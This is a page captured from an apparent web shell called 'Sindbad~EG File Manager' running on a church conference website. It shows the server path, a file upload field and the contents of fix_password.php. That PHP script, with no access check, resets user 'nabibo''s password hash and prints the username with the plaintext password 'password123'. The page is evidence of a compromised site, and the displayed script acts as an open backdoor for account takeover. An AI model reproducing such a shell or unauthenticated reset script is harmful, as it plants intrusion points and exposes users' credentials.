Sindbad~EG File Manager

Current Path : /home/copmadinaarea/thecopmadinaarea.org/conference/
Upload File :
Current File : /home/copmadinaarea/thecopmadinaarea.org/conference/fix_password.php

<?php
require_once 'config/database.php';

$db = new CopMadinaDB();
$conn = $db->getConnection();

// Update the password with the working hash
$working_hash = '$2y$10$kf0KTJ4SdV1qIvfTpsvySuqlURlEriiAF3eE8OJkrxMHIumucvk6m';

$stmt = $conn->prepare("UPDATE users SET password = ? WHERE username = 'nabibo'");
$result = $stmt->execute([$working_hash]);

if ($result) {
    echo "<h2>Password Updated Successfully!</h2>";
    echo "The password for user 'nabibo' has been updated with the working hash.<br>";
    echo "You can now login with:<br>";
    echo "<strong>Username:</strong> nabibo<br>";
    echo "<strong>Password:</strong> password123<br><br>";
    
    // Verify the update
    $stmt = $conn->prepare("SELECT password FROM users WHERE username = 'nabibo'");
    $stmt->execute();
    $user = $stmt->fetch();
    
    $verify_result = password_verify('password123', $user['password']);
    echo "<strong>Verification:</strong> " . ($verify_result ? 'SUCCESS ✅' : 'FAILED ❌') . "<br>";
    
} else {
    echo "<h2>Password Update Failed!</h2>";
    echo "There was an error updating the password.";
}
?>

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists